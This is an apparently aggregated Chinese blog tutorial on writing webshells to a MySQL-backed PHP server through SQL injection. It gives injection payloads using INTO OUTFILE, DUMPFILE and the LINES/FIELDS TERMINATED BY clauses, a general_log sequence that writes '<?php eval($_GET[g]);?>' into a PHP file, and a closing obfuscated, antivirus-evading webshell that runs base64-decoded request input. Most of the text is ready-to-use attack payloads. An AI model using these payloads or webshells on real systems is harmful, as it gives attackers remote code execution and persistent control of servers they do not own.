19

sql注入之文件写入into outfile

 3 years ago
source link: http://www.cnblogs.com/zjhzjhhh/p/14129167.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

sql注入中写入webshell的几种方式

sql注入中写入webshell的几种方式

  1. secure_file_priv="c:/…"被注释掉或者是web路径

  2. php.ini中的get_magic_quotes_gpc()函数未开启

    其中secure_file_priv有三种情况

    1. 空,表示导入导出没有任何限制
    2. 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
    3. null,禁止导入导出

    在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得 root权限

    0x01

Union select后写入

  1. union select+into outfile
  • ?id=1')) union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php

AjI3eaB.png!mobile

qIbUjuF.png!mobile

Ps:目录分隔符要用斜杠(/)

  1. union select+into dumpfile

outfile与dumpfile有一定的区别

eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数

Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理

0x02
Lines terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+

z22uQ3r.png!mobile

BJZfqaj.png!mobile

注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。

可以理解为:以每行终止的位置添加xx内容

0x03
Lines starting by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+

EFzEFfb.png!mobile

Lines starting by 以每行开始的位置添加xx内容

0x04
Fields terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+

quuaMz2.png!mobile

Fields terminated by 每个字段的间隔中插入xx内容

0x05
Columns terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+

VbEFreN.png!mobile

Columns terminated by 每个字段的位置添加xx内容

0x06

利用log写入

当无法使用select into outfile写入一句话时,可以通过修改mysql的log文件getshell

(必须获得mysql的root权限)

show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式

7jyAZvB.png!mobile

QryEfeN.png!mobile

流程:

1.开启general log模式

2.修改log根地址

3.写入shell

开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径

FbmameA.png!mobile

附:

sql查询免杀shell语句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK